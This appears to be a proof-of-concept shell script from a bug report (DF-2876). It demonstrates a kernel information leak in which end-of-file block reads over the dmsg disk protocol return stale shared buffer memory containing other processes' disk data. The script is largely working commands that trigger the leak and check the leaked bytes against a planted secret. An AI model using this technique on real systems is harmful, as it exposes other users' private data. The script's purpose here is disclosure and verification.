DF-2876 / run_f3.sh
#!/bin/sh # DF-2876 PoC — BLK_READ at/after EOF returns the full requested byte count # of STALE pbuf-mem KVA (shared with physio of other processes) to the dmsg # peer: subr_diskiocom.c:594-597 (data = bp->b_data even when nothing was # read), :651-655 (aux attached unconditionally). # # 1. root creates a "secret" vn disk (16MB, distinctive pattern) # 2. root seeds the shared pbuf pool via physio (dd if=/dev/vn0) # 3. dmsg peer issues an EOF BLK_READ on the same disk -> reply aux must NOT # contain the secret, but does. set -x dd if=/dev/urandom of=/tmp/vnimg bs=1m count=16 2>/dev/null # brand it so leakage is unambiguous printf "DF2876-SECRET-MARKER-START" | dd of=/tmp/vnimg bs=1 seek=0 conv=notrunc 2>/dev/null vnconfig -u vn0 2>/dev/null vnconfig -c vn0 /tmp/vnimg ls -l /dev/vn0 diskinfo /dev/vn0 | head -1 echo "=== seed pbuf pool via physio (root reads the whole secret disk) ===" dd if=/dev/vn0 of=/dev/null bs=64k 2>&1 | tail -1 echo "=== F3: EOF read via dmsg peer (expect zeros/garbage, NOT our secret) ===" for i in 1 2 3; do timeout 30 /tmp/dfpeer eofread /dev/vn0 16777216 65536 /tmp/f3_leak_$i.bin md5 /tmp/f3_leak_$i.bin done echo "=== compare with secret image content ===" dd if=/tmp/vnimg of=/tmp/f3_secret.bin bs=64k count=1 skip=255 2>/dev/null md5 /tmp/f3_secret.bin for i in 1 2 3; do if cmp -s /tmp/f3_leak_$i.bin /tmp/f3_secret.bin; then echo "LEAK_RUN_$i: FULL_64K_BLOCK_MATCHES_SECRET (deterministic)" else # count matching bytes n=$(cmp -l /tmp/f3_leak_$i.bin /tmp/f3_secret.bin 2>/dev/null | wc -l) echo "LEAK_RUN_$i: diff_bytes=$n (65536-n match)" fi done echo "=== first 64 bytes of each leak ===" for i in 1 2 3; do hexdump -C /tmp/f3_leak_$i.bin | head -2; done |